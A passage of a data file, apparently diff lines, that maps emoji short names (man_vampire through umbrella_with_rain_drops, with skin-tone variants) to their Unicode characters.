"man_vampire_medium-light_skin_tone": "🧛🏼\u200d♂️", - "man_vampire_medium_skin_tone": "🧛🏽\u200d♂️", - "man_walking": "🚶\u200d♂️", - "man_walking_dark_skin_tone": "🚶🏿\u200d♂️", - "man_walking_light_skin_tone": "🚶🏻\u200d♂️", - "man_walking_medium-dark_skin_tone": "🚶🏾\u200d♂️", - "man_walking_medium-light_skin_tone": "🚶🏼\u200d♂️", - "man_walking_medium_skin_tone": "🚶🏽\u200d♂️", - "man_wearing_turban": "👳\u200d♂️", - "man_wearing_turban_dark_skin_tone": "👳🏿\u200d♂️", - "man_wearing_turban_light_skin_tone": "👳🏻\u200d♂️", - "man_wearing_turban_medium-dark_skin_tone": "👳🏾\u200d♂️", - "man_wearing_turban_medium-light_skin_tone": "👳🏼\u200d♂️", - "man_wearing_turban_medium_skin_tone": "👳🏽\u200d♂️", - "man_with_probing_cane": "👨\u200d🦯", - "man_with_chinese_cap": "👲", - "man_with_chinese_cap_dark_skin_tone": "👲🏿", - "man_with_chinese_cap_light_skin_tone": "👲🏻", - "man_with_chinese_cap_medium-dark_skin_tone": "👲🏾", - "man_with_chinese_cap_medium-light_skin_tone": "👲🏼", - "man_with_chinese_cap_medium_skin_tone": "👲🏽", - "man_zombie": "🧟\u200d♂️", - "mango": "🥭", - "mantelpiece_clock": "🕰", - "manual_wheelchair": "🦽", - "man’s_shoe": "👞", - "map_of_japan": "🗾", - "maple_leaf": "🍁", - "martial_arts_uniform": "🥋", - "mate": "🧉", - "meat_on_bone": "🍖", - "mechanical_arm": "🦾", - "mechanical_leg": "🦿", - "medical_symbol": "⚕", - "megaphone": "📣", - "melon": "🍈", - "memo": "📝", - "men_with_bunny_ears": "👯\u200d♂️", - "men_wrestling": "🤼\u200d♂️", - "menorah": "🕎", - "men’s_room": "🚹", - "mermaid": "🧜\u200d♀️", - "mermaid_dark_skin_tone": "🧜🏿\u200d♀️", - "mermaid_light_skin_tone": "🧜🏻\u200d♀️", - "mermaid_medium-dark_skin_tone": "🧜🏾\u200d♀️", - "mermaid_medium-light_skin_tone": "🧜🏼\u200d♀️", - "mermaid_medium_skin_tone": "🧜🏽\u200d♀️", - "merman": "🧜\u200d♂️", - "merman_dark_skin_tone": "🧜🏿\u200d♂️", - "merman_light_skin_tone": "🧜🏻\u200d♂️", - "merman_medium-dark_skin_tone": "🧜🏾\u200d♂️", - "merman_medium-light_skin_tone": "🧜🏼\u200d♂️", - "merman_medium_skin_tone": "🧜🏽\u200d♂️", - "merperson": "🧜", - "merperson_dark_skin_tone": "🧜🏿", - "merperson_light_skin_tone": "🧜🏻", - "merperson_medium-dark_skin_tone": "🧜🏾", - "merperson_medium-light_skin_tone": "🧜🏼", - "merperson_medium_skin_tone": "🧜🏽", - "metro": "🚇", - "microbe": "🦠", - "microphone": "🎤", - "microscope": "🔬", - "middle_finger": "🖕", - "middle_finger_dark_skin_tone": "🖕🏿", - "middle_finger_light_skin_tone": "🖕🏻", - "middle_finger_medium-dark_skin_tone": "🖕🏾", - "middle_finger_medium-light_skin_tone": "🖕🏼", - "middle_finger_medium_skin_tone": "🖕🏽", - "military_medal": "🎖", - "milky_way": "🌌", - "minibus": "🚐", - "moai": "🗿", - "mobile_phone": "📱", - "mobile_phone_off": "📴", - "mobile_phone_with_arrow": "📲", - "money-mouth_face": "🤑", - "money_bag": "💰", - "money_with_wings": "💸", - "monkey": "🐒", - "monkey_face": "🐵", - "monorail": "🚝", - "moon_cake": "🥮", - "moon_viewing_ceremony": "🎑", - "mosque": "🕌", - "mosquito": "🦟", - "motor_boat": "🛥", - "motor_scooter": "🛵", - "motorcycle": "🏍", - "motorized_wheelchair": "🦼", - "motorway": "🛣", - "mount_fuji": "🗻", - "mountain": "⛰", - "mountain_cableway": "🚠", - "mountain_railway": "🚞", - "mouse": "🐭", - "mouse_face": "🐭", - "mouth": "👄", - "movie_camera": "🎥", - "mushroom": "🍄", - "musical_keyboard": "🎹", - "musical_note": "🎵", - "musical_notes": "🎶", - "musical_score": "🎼", - "muted_speaker": "🔇", - "nail_polish": "💅", - "nail_polish_dark_skin_tone": "💅🏿", - "nail_polish_light_skin_tone": "💅🏻", - "nail_polish_medium-dark_skin_tone": "💅🏾", - "nail_polish_medium-light_skin_tone": "💅🏼", - "nail_polish_medium_skin_tone": "💅🏽", - "name_badge": "📛", - "national_park": "🏞", - "nauseated_face": "🤢", - "nazar_amulet": "🧿", - "necktie": "👔", - "nerd_face": "🤓", - "neutral_face": "😐", - "new_moon": "🌑", - "new_moon_face": "🌚", - "newspaper": "📰", - "next_track_button": "⏭", - "night_with_stars": "🌃", - "nine-thirty": "🕤", - "nine_o’clock": "🕘", - "no_bicycles": "🚳", - "no_entry": "⛔", - "no_littering": "🚯", - "no_mobile_phones": "📵", - "no_one_under_eighteen": "🔞", - "no_pedestrians": "🚷", - "no_smoking": "🚭", - "non-potable_water": "🚱", - "nose": "👃", - "nose_dark_skin_tone": "👃🏿", - "nose_light_skin_tone": "👃🏻", - "nose_medium-dark_skin_tone": "👃🏾", - "nose_medium-light_skin_tone": "👃🏼", - "nose_medium_skin_tone": "👃🏽", - "notebook": "📓", - "notebook_with_decorative_cover": "📔", - "nut_and_bolt": "🔩", - "octopus": "🐙", - "oden": "🍢", - "office_building": "🏢", - "ogre": "👹", - "oil_drum": "🛢", - "old_key": "🗝", - "old_man": "👴", - "old_man_dark_skin_tone": "👴🏿", - "old_man_light_skin_tone": "👴🏻", - "old_man_medium-dark_skin_tone": "👴🏾", - "old_man_medium-light_skin_tone": "👴🏼", - "old_man_medium_skin_tone": "👴🏽", - "old_woman": "👵", - "old_woman_dark_skin_tone": "👵🏿", - "old_woman_light_skin_tone": "👵🏻", - "old_woman_medium-dark_skin_tone": "👵🏾", - "old_woman_medium-light_skin_tone": "👵🏼", - "old_woman_medium_skin_tone": "👵🏽", - "older_adult": "🧓", - "older_adult_dark_skin_tone": "🧓🏿", - "older_adult_light_skin_tone": "🧓🏻", - "older_adult_medium-dark_skin_tone": "🧓🏾", - "older_adult_medium-light_skin_tone": "🧓🏼", - "older_adult_medium_skin_tone": "🧓🏽", - "om": "🕉", - "oncoming_automobile": "🚘", - "oncoming_bus": "🚍", - "oncoming_fist": "👊", - "oncoming_fist_dark_skin_tone": "👊🏿", - "oncoming_fist_light_skin_tone": "👊🏻", - "oncoming_fist_medium-dark_skin_tone": "👊🏾", - "oncoming_fist_medium-light_skin_tone": "👊🏼", - "oncoming_fist_medium_skin_tone": "👊🏽", - "oncoming_police_car": "🚔", - "oncoming_taxi": "🚖", - "one-piece_swimsuit": "🩱", - "one-thirty": "🕜", - "one_o’clock": "🕐", - "onion": "🧅", - "open_book": "📖", - "open_file_folder": "📂", - "open_hands": "👐", - "open_hands_dark_skin_tone": "👐🏿", - "open_hands_light_skin_tone": "👐🏻", - "open_hands_medium-dark_skin_tone": "👐🏾", - "open_hands_medium-light_skin_tone": "👐🏼", - "open_hands_medium_skin_tone": "👐🏽", - "open_mailbox_with_lowered_flag": "📭", - "open_mailbox_with_raised_flag": "📬", - "optical_disk": "💿", - "orange_book": "📙", - "orange_circle": "🟠", - "orange_heart": "🧡", - "orange_square": "🟧", - "orangutan": "🦧", - "orthodox_cross": "☦", - "otter": "🦦", - "outbox_tray": "📤", - "owl": "🦉", - "ox": "🐂", - "oyster": "🦪", - "package": "📦", - "page_facing_up": "📄", - "page_with_curl": "📃", - "pager": "📟", - "paintbrush": "🖌", - "palm_tree": "🌴", - "palms_up_together": "🤲", - "palms_up_together_dark_skin_tone": "🤲🏿", - "palms_up_together_light_skin_tone": "🤲🏻", - "palms_up_together_medium-dark_skin_tone": "🤲🏾", - "palms_up_together_medium-light_skin_tone": "🤲🏼", - "palms_up_together_medium_skin_tone": "🤲🏽", - "pancakes": "🥞", - "panda_face": "🐼", - "paperclip": "📎", - "parrot": "🦜", - "part_alternation_mark": "〽", - "party_popper": "🎉", - "partying_face": "🥳", - "passenger_ship": "🛳", - "passport_control": "🛂", - "pause_button": "⏸", - "paw_prints": "🐾", - "peace_symbol": "☮", - "peach": "🍑", - "peacock": "🦚", - "peanuts": "🥜", - "pear": "🍐", - "pen": "🖊", - "pencil": "📝", - "penguin": "🐧", - "pensive_face": "😔", - "people_holding_hands": "🧑\u200d🤝\u200d🧑", - "people_with_bunny_ears": "👯", - "people_wrestling": "🤼", - "performing_arts": "🎭", - "persevering_face": "😣", - "person_biking": "🚴", - "person_biking_dark_skin_tone": "🚴🏿", - "person_biking_light_skin_tone": "🚴🏻", - "person_biking_medium-dark_skin_tone": "🚴🏾", - "person_biking_medium-light_skin_tone": "🚴🏼", - "person_biking_medium_skin_tone": "🚴🏽", - "person_bouncing_ball": "⛹", - "person_bouncing_ball_dark_skin_tone": "⛹🏿", - "person_bouncing_ball_light_skin_tone": "⛹🏻", - "person_bouncing_ball_medium-dark_skin_tone": "⛹🏾", - "person_bouncing_ball_medium-light_skin_tone": "⛹🏼", - "person_bouncing_ball_medium_skin_tone": "⛹🏽", - "person_bowing": "🙇", - "person_bowing_dark_skin_tone": "🙇🏿", - "person_bowing_light_skin_tone": "🙇🏻", - "person_bowing_medium-dark_skin_tone": "🙇🏾", - "person_bowing_medium-light_skin_tone": "🙇🏼", - "person_bowing_medium_skin_tone": "🙇🏽", - "person_cartwheeling": "🤸", - "person_cartwheeling_dark_skin_tone": "🤸🏿", - "person_cartwheeling_light_skin_tone": "🤸🏻", - "person_cartwheeling_medium-dark_skin_tone": "🤸🏾", - "person_cartwheeling_medium-light_skin_tone": "🤸🏼", - "person_cartwheeling_medium_skin_tone": "🤸🏽", - "person_climbing": "🧗", - "person_climbing_dark_skin_tone": "🧗🏿", - "person_climbing_light_skin_tone": "🧗🏻", - "person_climbing_medium-dark_skin_tone": "🧗🏾", - "person_climbing_medium-light_skin_tone": "🧗🏼", - "person_climbing_medium_skin_tone": "🧗🏽", - "person_facepalming": "🤦", - "person_facepalming_dark_skin_tone": "🤦🏿", - "person_facepalming_light_skin_tone": "🤦🏻", - "person_facepalming_medium-dark_skin_tone": "🤦🏾", - "person_facepalming_medium-light_skin_tone": "🤦🏼", - "person_facepalming_medium_skin_tone": "🤦🏽", - "person_fencing": "🤺", - "person_frowning": "🙍", - "person_frowning_dark_skin_tone": "🙍🏿", - "person_frowning_light_skin_tone": "🙍🏻", - "person_frowning_medium-dark_skin_tone": "🙍🏾", - "person_frowning_medium-light_skin_tone": "🙍🏼", - "person_frowning_medium_skin_tone": "🙍🏽", - "person_gesturing_no": "🙅", - "person_gesturing_no_dark_skin_tone": "🙅🏿", - "person_gesturing_no_light_skin_tone": "🙅🏻", - "person_gesturing_no_medium-dark_skin_tone": "🙅🏾", - "person_gesturing_no_medium-light_skin_tone": "🙅🏼", - "person_gesturing_no_medium_skin_tone": "🙅🏽", - "person_gesturing_ok": "🙆", - "person_gesturing_ok_dark_skin_tone": "🙆🏿", - "person_gesturing_ok_light_skin_tone": "🙆🏻", - "person_gesturing_ok_medium-dark_skin_tone": "🙆🏾", - "person_gesturing_ok_medium-light_skin_tone": "🙆🏼", - "person_gesturing_ok_medium_skin_tone": "🙆🏽", - "person_getting_haircut": "💇", - "person_getting_haircut_dark_skin_tone": "💇🏿", - "person_getting_haircut_light_skin_tone": "💇🏻", - "person_getting_haircut_medium-dark_skin_tone": "💇🏾", - "person_getting_haircut_medium-light_skin_tone": "💇🏼", - "person_getting_haircut_medium_skin_tone": "💇🏽", - "person_getting_massage": "💆", - "person_getting_massage_dark_skin_tone": "💆🏿", - "person_getting_massage_light_skin_tone": "💆🏻", - "person_getting_massage_medium-dark_skin_tone": "💆🏾", - "person_getting_massage_medium-light_skin_tone": "💆🏼", - "person_getting_massage_medium_skin_tone": "💆🏽", - "person_golfing": "🏌", - "person_golfing_dark_skin_tone": "🏌🏿", - "person_golfing_light_skin_tone": "🏌🏻", - "person_golfing_medium-dark_skin_tone": "🏌🏾", - "person_golfing_medium-light_skin_tone": "🏌🏼", - "person_golfing_medium_skin_tone": "🏌🏽", - "person_in_bed": "🛌", - "person_in_bed_dark_skin_tone": "🛌🏿", - "person_in_bed_light_skin_tone": "🛌🏻", - "person_in_bed_medium-dark_skin_tone": "🛌🏾", - "person_in_bed_medium-light_skin_tone": "🛌🏼", - "person_in_bed_medium_skin_tone": "🛌🏽", - "person_in_lotus_position": "🧘", - "person_in_lotus_position_dark_skin_tone": "🧘🏿", - "person_in_lotus_position_light_skin_tone": "🧘🏻", - "person_in_lotus_position_medium-dark_skin_tone": "🧘🏾", - "person_in_lotus_position_medium-light_skin_tone": "🧘🏼", - "person_in_lotus_position_medium_skin_tone": "🧘🏽", - "person_in_steamy_room": "🧖", - "person_in_steamy_room_dark_skin_tone": "🧖🏿", - "person_in_steamy_room_light_skin_tone": "🧖🏻", - "person_in_steamy_room_medium-dark_skin_tone": "🧖🏾", - "person_in_steamy_room_medium-light_skin_tone": "🧖🏼", - "person_in_steamy_room_medium_skin_tone": "🧖🏽", - "person_juggling": "🤹", - "person_juggling_dark_skin_tone": "🤹🏿", - "person_juggling_light_skin_tone": "🤹🏻", - "person_juggling_medium-dark_skin_tone": "🤹🏾", - "person_juggling_medium-light_skin_tone": "🤹🏼", - "person_juggling_medium_skin_tone": "🤹🏽", - "person_kneeling": "🧎", - "person_lifting_weights": "🏋", - "person_lifting_weights_dark_skin_tone": "🏋🏿", - "person_lifting_weights_light_skin_tone": "🏋🏻", - "person_lifting_weights_medium-dark_skin_tone": "🏋🏾", - "person_lifting_weights_medium-light_skin_tone": "🏋🏼", - "person_lifting_weights_medium_skin_tone": "🏋🏽", - "person_mountain_biking": "🚵", - "person_mountain_biking_dark_skin_tone": "🚵🏿", - "person_mountain_biking_light_skin_tone": "🚵🏻", - "person_mountain_biking_medium-dark_skin_tone": "🚵🏾", - "person_mountain_biking_medium-light_skin_tone": "🚵🏼", - "person_mountain_biking_medium_skin_tone": "🚵🏽", - "person_playing_handball": "🤾", - "person_playing_handball_dark_skin_tone": "🤾🏿", - "person_playing_handball_light_skin_tone": "🤾🏻", - "person_playing_handball_medium-dark_skin_tone": "🤾🏾", - "person_playing_handball_medium-light_skin_tone": "🤾🏼", - "person_playing_handball_medium_skin_tone": "🤾🏽", - "person_playing_water_polo": "🤽", - "person_playing_water_polo_dark_skin_tone": "🤽🏿", - "person_playing_water_polo_light_skin_tone": "🤽🏻", - "person_playing_water_polo_medium-dark_skin_tone": "🤽🏾", - "person_playing_water_polo_medium-light_skin_tone": "🤽🏼", - "person_playing_water_polo_medium_skin_tone": "🤽🏽", - "person_pouting": "🙎", - "person_pouting_dark_skin_tone": "🙎🏿", - "person_pouting_light_skin_tone": "🙎🏻", - "person_pouting_medium-dark_skin_tone": "🙎🏾", - "person_pouting_medium-light_skin_tone": "🙎🏼", - "person_pouting_medium_skin_tone": "🙎🏽", - "person_raising_hand": "🙋", - "person_raising_hand_dark_skin_tone": "🙋🏿", - "person_raising_hand_light_skin_tone": "🙋🏻", - "person_raising_hand_medium-dark_skin_tone": "🙋🏾", - "person_raising_hand_medium-light_skin_tone": "🙋🏼", - "person_raising_hand_medium_skin_tone": "🙋🏽", - "person_rowing_boat": "🚣", - "person_rowing_boat_dark_skin_tone": "🚣🏿", - "person_rowing_boat_light_skin_tone": "🚣🏻", - "person_rowing_boat_medium-dark_skin_tone": "🚣🏾", - "person_rowing_boat_medium-light_skin_tone": "🚣🏼", - "person_rowing_boat_medium_skin_tone": "🚣🏽", - "person_running": "🏃", - "person_running_dark_skin_tone": "🏃🏿", - "person_running_light_skin_tone": "🏃🏻", - "person_running_medium-dark_skin_tone": "🏃🏾", - "person_running_medium-light_skin_tone": "🏃🏼", - "person_running_medium_skin_tone": "🏃🏽", - "person_shrugging": "🤷", - "person_shrugging_dark_skin_tone": "🤷🏿", - "person_shrugging_light_skin_tone": "🤷🏻", - "person_shrugging_medium-dark_skin_tone": "🤷🏾", - "person_shrugging_medium-light_skin_tone": "🤷🏼", - "person_shrugging_medium_skin_tone": "🤷🏽", - "person_standing": "🧍", - "person_surfing": "🏄", - "person_surfing_dark_skin_tone": "🏄🏿", - "person_surfing_light_skin_tone": "🏄🏻", - "person_surfing_medium-dark_skin_tone": "🏄🏾", - "person_surfing_medium-light_skin_tone": "🏄🏼", - "person_surfing_medium_skin_tone": "🏄🏽", - "person_swimming": "🏊", - "person_swimming_dark_skin_tone": "🏊🏿", - "person_swimming_light_skin_tone": "🏊🏻", - "person_swimming_medium-dark_skin_tone": "🏊🏾", - "person_swimming_medium-light_skin_tone": "🏊🏼", - "person_swimming_medium_skin_tone": "🏊🏽", - "person_taking_bath": "🛀", - "person_taking_bath_dark_skin_tone": "🛀🏿", - "person_taking_bath_light_skin_tone": "🛀🏻", - "person_taking_bath_medium-dark_skin_tone": "🛀🏾", - "person_taking_bath_medium-light_skin_tone": "🛀🏼", - "person_taking_bath_medium_skin_tone": "🛀🏽", - "person_tipping_hand": "💁", - "person_tipping_hand_dark_skin_tone": "💁🏿", - "person_tipping_hand_light_skin_tone": "💁🏻", - "person_tipping_hand_medium-dark_skin_tone": "💁🏾", - "person_tipping_hand_medium-light_skin_tone": "💁🏼", - "person_tipping_hand_medium_skin_tone": "💁🏽", - "person_walking": "🚶", - "person_walking_dark_skin_tone": "🚶🏿", - "person_walking_light_skin_tone": "🚶🏻", - "person_walking_medium-dark_skin_tone": "🚶🏾", - "person_walking_medium-light_skin_tone": "🚶🏼", - "person_walking_medium_skin_tone": "🚶🏽", - "person_wearing_turban": "👳", - "person_wearing_turban_dark_skin_tone": "👳🏿", - "person_wearing_turban_light_skin_tone": "👳🏻", - "person_wearing_turban_medium-dark_skin_tone": "👳🏾", - "person_wearing_turban_medium-light_skin_tone": "👳🏼", - "person_wearing_turban_medium_skin_tone": "👳🏽", - "petri_dish": "🧫", - "pick": "⛏", - "pie": "🥧", - "pig": "🐷", - "pig_face": "🐷", - "pig_nose": "🐽", - "pile_of_poo": "💩", - "pill": "💊", - "pinching_hand": "🤏", - "pine_decoration": "🎍", - "pineapple": "🍍", - "ping_pong": "🏓", - "pirate_flag": "🏴\u200d☠️", - "pistol": "🔫", - "pizza": "🍕", - "place_of_worship": "🛐", - "play_button": "▶", - "play_or_pause_button": "⏯", - "pleading_face": "🥺", - "police_car": "🚓", - "police_car_light": "🚨", - "police_officer": "👮", - "police_officer_dark_skin_tone": "👮🏿", - "police_officer_light_skin_tone": "👮🏻", - "police_officer_medium-dark_skin_tone": "👮🏾", - "police_officer_medium-light_skin_tone": "👮🏼", - "police_officer_medium_skin_tone": "👮🏽", - "poodle": "🐩", - "pool_8_ball": "🎱", - "popcorn": "🍿", - "post_office": "🏣", - "postal_horn": "📯", - "postbox": "📮", - "pot_of_food": "🍲", - "potable_water": "🚰", - "potato": "🥔", - "poultry_leg": "🍗", - "pound_banknote": "💷", - "pouting_cat_face": "😾", - "pouting_face": "😡", - "prayer_beads": "📿", - "pregnant_woman": "🤰", - "pregnant_woman_dark_skin_tone": "🤰🏿", - "pregnant_woman_light_skin_tone": "🤰🏻", - "pregnant_woman_medium-dark_skin_tone": "🤰🏾", - "pregnant_woman_medium-light_skin_tone": "🤰🏼", - "pregnant_woman_medium_skin_tone": "🤰🏽", - "pretzel": "🥨", - "probing_cane": "🦯", - "prince": "🤴", - "prince_dark_skin_tone": "🤴🏿", - "prince_light_skin_tone": "🤴🏻", - "prince_medium-dark_skin_tone": "🤴🏾", - "prince_medium-light_skin_tone": "🤴🏼", - "prince_medium_skin_tone": "🤴🏽", - "princess": "👸", - "princess_dark_skin_tone": "👸🏿", - "princess_light_skin_tone": "👸🏻", - "princess_medium-dark_skin_tone": "👸🏾", - "princess_medium-light_skin_tone": "👸🏼", - "princess_medium_skin_tone": "👸🏽", - "printer": "🖨", - "prohibited": "🚫", - "purple_circle": "🟣", - "purple_heart": "💜", - "purple_square": "🟪", - "purse": "👛", - "pushpin": "📌", - "question_mark": "❓", - "rabbit": "🐰", - "rabbit_face": "🐰", - "raccoon": "🦝", - "racing_car": "🏎", - "radio": "📻", - "radio_button": "🔘", - "radioactive": "☢", - "railway_car": "🚃", - "railway_track": "🛤", - "rainbow": "🌈", - "rainbow_flag": "🏳️\u200d🌈", - "raised_back_of_hand": "🤚", - "raised_back_of_hand_dark_skin_tone": "🤚🏿", - "raised_back_of_hand_light_skin_tone": "🤚🏻", - "raised_back_of_hand_medium-dark_skin_tone": "🤚🏾", - "raised_back_of_hand_medium-light_skin_tone": "🤚🏼", - "raised_back_of_hand_medium_skin_tone": "🤚🏽", - "raised_fist": "✊", - "raised_fist_dark_skin_tone": "✊🏿", - "raised_fist_light_skin_tone": "✊🏻", - "raised_fist_medium-dark_skin_tone": "✊🏾", - "raised_fist_medium-light_skin_tone": "✊🏼", - "raised_fist_medium_skin_tone": "✊🏽", - "raised_hand": "✋", - "raised_hand_dark_skin_tone": "✋🏿", - "raised_hand_light_skin_tone": "✋🏻", - "raised_hand_medium-dark_skin_tone": "✋🏾", - "raised_hand_medium-light_skin_tone": "✋🏼", - "raised_hand_medium_skin_tone": "✋🏽", - "raising_hands": "🙌", - "raising_hands_dark_skin_tone": "🙌🏿", - "raising_hands_light_skin_tone": "🙌🏻", - "raising_hands_medium-dark_skin_tone": "🙌🏾", - "raising_hands_medium-light_skin_tone": "🙌🏼", - "raising_hands_medium_skin_tone": "🙌🏽", - "ram": "🐏", - "rat": "🐀", - "razor": "🪒", - "ringed_planet": "🪐", - "receipt": "🧾", - "record_button": "⏺", - "recycling_symbol": "♻", - "red_apple": "🍎", - "red_circle": "🔴", - "red_envelope": "🧧", - "red_hair": "🦰", - "red-haired_man": "👨\u200d🦰", - "red-haired_woman": "👩\u200d🦰", - "red_heart": "❤", - "red_paper_lantern": "🏮", - "red_square": "🟥", - "red_triangle_pointed_down": "🔻", - "red_triangle_pointed_up": "🔺", - "registered": "®", - "relieved_face": "😌", - "reminder_ribbon": "🎗", - "repeat_button": "🔁", - "repeat_single_button": "🔂", - "rescue_worker’s_helmet": "⛑", - "restroom": "🚻", - "reverse_button": "◀", - "revolving_hearts": "💞", - "rhinoceros": "🦏", - "ribbon": "🎀", - "rice_ball": "🍙", - "rice_cracker": "🍘", - "right-facing_fist": "🤜", - "right-facing_fist_dark_skin_tone": "🤜🏿", - "right-facing_fist_light_skin_tone": "🤜🏻", - "right-facing_fist_medium-dark_skin_tone": "🤜🏾", - "right-facing_fist_medium-light_skin_tone": "🤜🏼", - "right-facing_fist_medium_skin_tone": "🤜🏽", - "right_anger_bubble": "🗯", - "right_arrow": "➡", - "right_arrow_curving_down": "⤵", - "right_arrow_curving_left": "↩", - "right_arrow_curving_up": "⤴", - "ring": "💍", - "roasted_sweet_potato": "🍠", - "robot_face": "🤖", - "rocket": "🚀", - "roll_of_paper": "🧻", - "rolled-up_newspaper": "🗞", - "roller_coaster": "🎢", - "rolling_on_the_floor_laughing": "🤣", - "rooster": "🐓", - "rose": "🌹", - "rosette": "🏵", - "round_pushpin": "📍", - "rugby_football": "🏉", - "running_shirt": "🎽", - "running_shoe": "👟", - "sad_but_relieved_face": "😥", - "safety_pin": "🧷", - "safety_vest": "🦺", - "salt": "🧂", - "sailboat": "⛵", - "sake": "🍶", - "sandwich": "🥪", - "sari": "🥻", - "satellite": "📡", - "satellite_antenna": "📡", - "sauropod": "🦕", - "saxophone": "🎷", - "scarf": "🧣", - "school": "🏫", - "school_backpack": "🎒", - "scissors": "✂", - "scorpion": "🦂", - "scroll": "📜", - "seat": "💺", - "see-no-evil_monkey": "🙈", - "seedling": "🌱", - "selfie": "🤳", - "selfie_dark_skin_tone": "🤳🏿", - "selfie_light_skin_tone": "🤳🏻", - "selfie_medium-dark_skin_tone": "🤳🏾", - "selfie_medium-light_skin_tone": "🤳🏼", - "selfie_medium_skin_tone": "🤳🏽", - "service_dog": "🐕\u200d🦺", - "seven-thirty": "🕢", - "seven_o’clock": "🕖", - "shallow_pan_of_food": "🥘", - "shamrock": "☘", - "shark": "🦈", - "shaved_ice": "🍧", - "sheaf_of_rice": "🌾", - "shield": "🛡", - "shinto_shrine": "⛩", - "ship": "🚢", - "shooting_star": "🌠", - "shopping_bags": "🛍", - "shopping_cart": "🛒", - "shortcake": "🍰", - "shorts": "🩳", - "shower": "🚿", - "shrimp": "🦐", - "shuffle_tracks_button": "🔀", - "shushing_face": "🤫", - "sign_of_the_horns": "🤘", - "sign_of_the_horns_dark_skin_tone": "🤘🏿", - "sign_of_the_horns_light_skin_tone": "🤘🏻", - "sign_of_the_horns_medium-dark_skin_tone": "🤘🏾", - "sign_of_the_horns_medium-light_skin_tone": "🤘🏼", - "sign_of_the_horns_medium_skin_tone": "🤘🏽", - "six-thirty": "🕡", - "six_o’clock": "🕕", - "skateboard": "🛹", - "skier": "⛷", - "skis": "🎿", - "skull": "💀", - "skull_and_crossbones": "☠", - "skunk": "🦨", - "sled": "🛷", - "sleeping_face": "😴", - "sleepy_face": "😪", - "slightly_frowning_face": "🙁", - "slightly_smiling_face": "🙂", - "slot_machine": "🎰", - "sloth": "🦥", - "small_airplane": "🛩", - "small_blue_diamond": "🔹", - "small_orange_diamond": "🔸", - "smiling_cat_face_with_heart-eyes": "😻", - "smiling_face": "☺", - "smiling_face_with_halo": "😇", - "smiling_face_with_3_hearts": "🥰", - "smiling_face_with_heart-eyes": "😍", - "smiling_face_with_horns": "😈", - "smiling_face_with_smiling_eyes": "😊", - "smiling_face_with_sunglasses": "😎", - "smirking_face": "😏", - "snail": "🐌", - "snake": "🐍", - "sneezing_face": "🤧", - "snow-capped_mountain": "🏔", - "snowboarder": "🏂", - "snowboarder_dark_skin_tone": "🏂🏿", - "snowboarder_light_skin_tone": "🏂🏻", - "snowboarder_medium-dark_skin_tone": "🏂🏾", - "snowboarder_medium-light_skin_tone": "🏂🏼", - "snowboarder_medium_skin_tone": "🏂🏽", - "snowflake": "❄", - "snowman": "☃", - "snowman_without_snow": "⛄", - "soap": "🧼", - "soccer_ball": "⚽", - "socks": "🧦", - "softball": "🥎", - "soft_ice_cream": "🍦", - "spade_suit": "♠", - "spaghetti": "🍝", - "sparkle": "❇", - "sparkler": "🎇", - "sparkles": "✨", - "sparkling_heart": "💖", - "speak-no-evil_monkey": "🙊", - "speaker_high_volume": "🔊", - "speaker_low_volume": "🔈", - "speaker_medium_volume": "🔉", - "speaking_head": "🗣", - "speech_balloon": "💬", - "speedboat": "🚤", - "spider": "🕷", - "spider_web": "🕸", - "spiral_calendar": "🗓", - "spiral_notepad": "🗒", - "spiral_shell": "🐚", - "spoon": "🥄", - "sponge": "🧽", - "sport_utility_vehicle": "🚙", - "sports_medal": "🏅", - "spouting_whale": "🐳", - "squid": "🦑", - "squinting_face_with_tongue": "😝", - "stadium": "🏟", - "star-struck": "🤩", - "star_and_crescent": "☪", - "star_of_david": "✡", - "station": "🚉", - "steaming_bowl": "🍜", - "stethoscope": "🩺", - "stop_button": "⏹", - "stop_sign": "🛑", - "stopwatch": "⏱", - "straight_ruler": "📏", - "strawberry": "🍓", - "studio_microphone": "🎙", - "stuffed_flatbread": "🥙", - "sun": "☀", - "sun_behind_cloud": "⛅", - "sun_behind_large_cloud": "🌥", - "sun_behind_rain_cloud": "🌦", - "sun_behind_small_cloud": "🌤", - "sun_with_face": "🌞", - "sunflower": "🌻", - "sunglasses": "😎", - "sunrise": "🌅", - "sunrise_over_mountains": "🌄", - "sunset": "🌇", - "superhero": "🦸", - "supervillain": "🦹", - "sushi": "🍣", - "suspension_railway": "🚟", - "swan": "🦢", - "sweat_droplets": "💦", - "synagogue": "🕍", - "syringe": "💉", - "t-shirt": "👕", - "taco": "🌮", - "takeout_box": "🥡", - "tanabata_tree": "🎋", - "tangerine": "🍊", - "taxi": "🚕", - "teacup_without_handle": "🍵", - "tear-off_calendar": "📆", - "teddy_bear": "🧸", - "telephone": "☎", - "telephone_receiver": "📞", - "telescope": "🔭", - "television": "📺", - "ten-thirty": "🕥", - "ten_o’clock": "🕙", - "tennis": "🎾", - "tent": "⛺", - "test_tube": "🧪", - "thermometer": "🌡", - "thinking_face": "🤔", - "thought_balloon": "💭", - "thread": "🧵", - "three-thirty": "🕞", - "three_o’clock": "🕒", - "thumbs_down": "👎", - "thumbs_down_dark_skin_tone": "👎🏿", - "thumbs_down_light_skin_tone": "👎🏻", - "thumbs_down_medium-dark_skin_tone": "👎🏾", - "thumbs_down_medium-light_skin_tone": "👎🏼", - "thumbs_down_medium_skin_tone": "👎🏽", - "thumbs_up": "👍", - "thumbs_up_dark_skin_tone": "👍🏿", - "thumbs_up_light_skin_tone": "👍🏻", - "thumbs_up_medium-dark_skin_tone": "👍🏾", - "thumbs_up_medium-light_skin_tone": "👍🏼", - "thumbs_up_medium_skin_tone": "👍🏽", - "ticket": "🎫", - "tiger": "🐯", - "tiger_face": "🐯", - "timer_clock": "⏲", - "tired_face": "😫", - "toolbox": "🧰", - "toilet": "🚽", - "tomato": "🍅", - "tongue": "👅", - "tooth": "🦷", - "top_hat": "🎩", - "tornado": "🌪", - "trackball": "🖲", - "tractor": "🚜", - "trade_mark": "™", - "train": "🚋", - "tram": "🚊", - "tram_car": "🚋", - "triangular_flag": "🚩", - "triangular_ruler": "📐", - "trident_emblem": "🔱", - "trolleybus": "🚎", - "trophy": "🏆", - "tropical_drink": "🍹", - "tropical_fish": "🐠", - "trumpet": "🎺", - "tulip": "🌷", - "tumbler_glass": "🥃", - "turtle": "🐢", - "twelve-thirty": "🕧", - "twelve_o’clock": "🕛", - "two-hump_camel": "🐫", - "two-thirty": "🕝", - "two_hearts": "💕", - "two_men_holding_hands": "👬", - "two_o’clock": "🕑", - "two_women_holding_hands": "👭", - "umbrella": "☂", - "umbrella_on_ground": "⛱", - "umbrella_with_rain_drops": "☔", - 